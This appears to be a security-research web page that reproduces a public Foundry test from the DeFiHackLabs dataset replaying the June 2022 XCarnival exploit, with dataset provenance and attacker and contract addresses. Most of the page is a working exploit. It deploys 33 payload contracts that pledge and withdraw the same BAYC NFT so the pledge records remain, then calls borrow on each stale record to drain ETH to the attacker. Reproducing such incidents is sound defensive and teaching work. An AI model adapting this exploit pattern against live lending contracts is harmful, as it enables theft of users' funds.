Skip to content
THREATWIRE

Public reproduction file

src/test/2022-06/XCarnival_exp.sol

Public reproduction file for dataset entry XCarnival.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-06/XCarnival_exp.sol164 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo
8// Total Lost : 3087 ETH (~3,870,000 US$)
9// Attacker Wallet : 0xb7cbb4d43f1e08327a90b32a8417688c9d0b800a
10// Main Attack Contract : 0xf70f691d30ce23786cfb3a1522cfd76d159aca8d
11// Vulnerable Contract XNFT.sol : https://etherscan.io/address/0x39360ac1239a0b98cb8076d4135d0f72b7fd9909#code
13// @Info
14// XToken.sol : https://etherscan.io/address/0x5417da20ac8157dd5c07230cfc2b226fdcfc5663#code
15// Proxy of XNFT.sol : 0xb14B3b9682990ccC16F52eB04146C3ceAB01169A
16// P2Controller.sol : https://etherscan.io/address/0x34ca24ddcdaf00105a3bf10ba5aae67953178b85#code
17// BAYC Contract: 0xbc4ca0eda7647a8ab7c2061c2e118a18a936f13d
19// @News
20// Official Announce : https://twitter.com/XCarnival_Lab/status/1541226298399653888
21// PeckShield Alert Thread : https://twitter.com/peckshield/status/1541047171453034501
22// Blocksec Alert Thread : https://twitter.com/BlockSecTeam/status/1541070850505723905
24// @Shortcuts
25/*
26 Attacker Tx List : https://etherscan.io/txs?a=0xb7cbb4d43f1e08327a90b32a8417688c9d0b800a
27 First `0xadf6a75d` call : https://etherscan.io/tx/0x422e7b0a449deba30bfe922b5c34282efbdbf860205ff04b14fd8129c5b91433
28 First `Start` call : https://etherscan.io/tx/0xabfcfaf3620bbb2d41a3ffea6e31e93b9b5f61c061b9cfc5a53c74ebe890294d*/
30interface IBAYC {
31 function setApprovalForAll(address operator, bool _approved) external;
33 function transferFrom(address from, address to, uint256 tokenId) external;
35 function ownerOf(
36 uint256 tokenId
37 ) external view returns (address owner);
40interface IXNFT {
41 function counter() external returns (uint256); // getter() for -> uint256 public counter;
43 function pledgeAndBorrow(
44 address _collection,
45 uint256 _tokenId,
46 uint256 _nftType,
47 address xToken,
48 uint256 borrowAmount
49 ) external;
51 function withdrawNFT(
52 uint256 orderId
53 ) external;
56interface IXToken {
57 function borrow(uint256 orderId, address payable borrower, uint256 borrowAmount) external;
60/* Contract: 0xa04ec2366641a2286782d104c448f13bf36b2304 */
61interface INothing {
62 function borrow(uint256 orderId, address payable borrower, uint256 borrowAmount) external;
65/* Contract: 0x2d6e070af9574d07ef17ccd5748590a86690d175 */
66contract payloadContract is Test {
67 event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
69 uint256 orderId = 0;
70 IBAYC BAYC = IBAYC(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D);
71 IXNFT XNFT = IXNFT(0xb14B3b9682990ccC16F52eB04146C3ceAB01169A);
72 IXToken XToken = IXToken(0xB38707E31C813f832ef71c70731ed80B45b85b2d);
73 INothing doNothing = INothing(0xA04EC2366641a2286782D104C448f13bF36B2304);
75 constructor() {
76 emit OwnershipTransferred(address(0), address(msg.sender));
77 BAYC.setApprovalForAll(tx.origin, true);
78 }
80 // function 0x97c1edd3()
81 function makePledge() public {
82 BAYC.setApprovalForAll(address(XNFT), true);
84 // Attacker was call `pledgeAndBorrow()`, But `pledge()` also vulnerable.
85 XNFT.pledgeAndBorrow(address(BAYC), 5110, 721, address(doNothing), 0);
87 orderId = XNFT.counter();
88 assert(orderId >= 11); // Attacker start by orderId:11
89 XNFT.withdrawNFT(orderId);
91 BAYC.transferFrom(address(this), msg.sender, 5110);
92 }
94 // function 0x2a3e7cec()
95 function dumpETH() public {
96 XToken.borrow(orderId, payable(address(this)), 36 ether);
97 payable(msg.sender).transfer(address(this).balance);
98 }
100 function onERC721Received(
101 address operator,
102 address from,
103 uint256 tokenId,
104 bytes calldata data
105 ) external pure returns (bytes4) {
106 return this.onERC721Received.selector;
107 }
109 receive() external payable {}
112/* Contract: 0xf70f691d30ce23786cfb3a1522cfd76d159aca8d */
113contract mainAttackContract is Test {
114 address payable[33] public payloads;
115 address attacker = 0xb7CBB4d43F1e08327A90B32A8417688C9D0B800a;
116 IBAYC BAYC = IBAYC(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D);
117 CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
119 function setUp() public {
120 cheat.createSelectFork("mainnet", 15_028_846); // fork mainnet at block 15028846
122 cheat.deal(address(this), 0);
123 emit log_named_decimal_uint("[*] Attacker Contract ETH Balance", address(this).balance, 18);
125 // Mainnet TxID: 0x7cd094bc34c6700090f88950ab0095a95eb0d54c8e5012f1f46266c8871027ff
126 emit log_string("\tAttacker send BAYC#5110 to Attack Contract...");
127 cheat.roll(15_028_846);
128 cheat.startPrank(attacker);
129 BAYC.transferFrom(attacker, address(this), 5110);
130 cheat.stopPrank();
131 }
133 // [Main Attack Contract].0xadf6a75d()
134 function testExploit() public {
135 // Set msg.sender = 0xf70f691d30ce23786cfb3a1522cfd76d159aca8d (Main Attack Contract)
136 // Set tx.origin = 0xb7CBB4d43F1e08327A90B32A8417688C9D0B800a (Attacker)
137 cheat.startPrank(address(this), attacker);
139 emit log_string("[Exploit] Making pledged record...");
140 for (uint8 i = 0; i < payloads.length; ++i) {
141 payloadContract payload = new payloadContract();
142 cheat.deal(address(payload), 0); // Set balance 0 ETH to avoid conflict on forknet
143 payloads[i] = payable(address(payload));
145 BAYC.transferFrom(address(this), address(payloads[i]), 5110);
146 require(BAYC.ownerOf(5110) == payloads[i], "BAYC#5110 Transfer Failed");
148 payload.makePledge();
149 }
151 assert(payloads[0] != address(0));
152 assert(payloads[32] != address(0));
154 emit log_string("[Exploit] Dumping ETH from borrow...");
155 for (uint8 i = 0; i < payloads.length; ++i) {
156 payloads[i].call(abi.encodeWithSignature("dumpETH()"));
157 }
159 emit log_string("[*] Exploit Execution Completed!");
160 emit log_named_decimal_uint("[*] Attacker Contract ETH Balance", address(this).balance, 18);
161 }
163 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “XCarnival” (2022-06-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

6 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xb7cbb4d43f1e08327a90b32a8417688c9d0b800a

  • Vulnerable Contract

    0x39360ac1239a0b98cb8076d4135d0f72b7fd9909

File record

Name
XCarnival
Path
src/test/2022-06/XCarnival_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
f976f338caa2edb08db90aa4b5959b968d7a339f
Language
Solidity
Size
165 lines
Date
2022-06-26
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-06/XCarnival_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f976f338caa2edb08db90aa4b5959b968d7a339f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.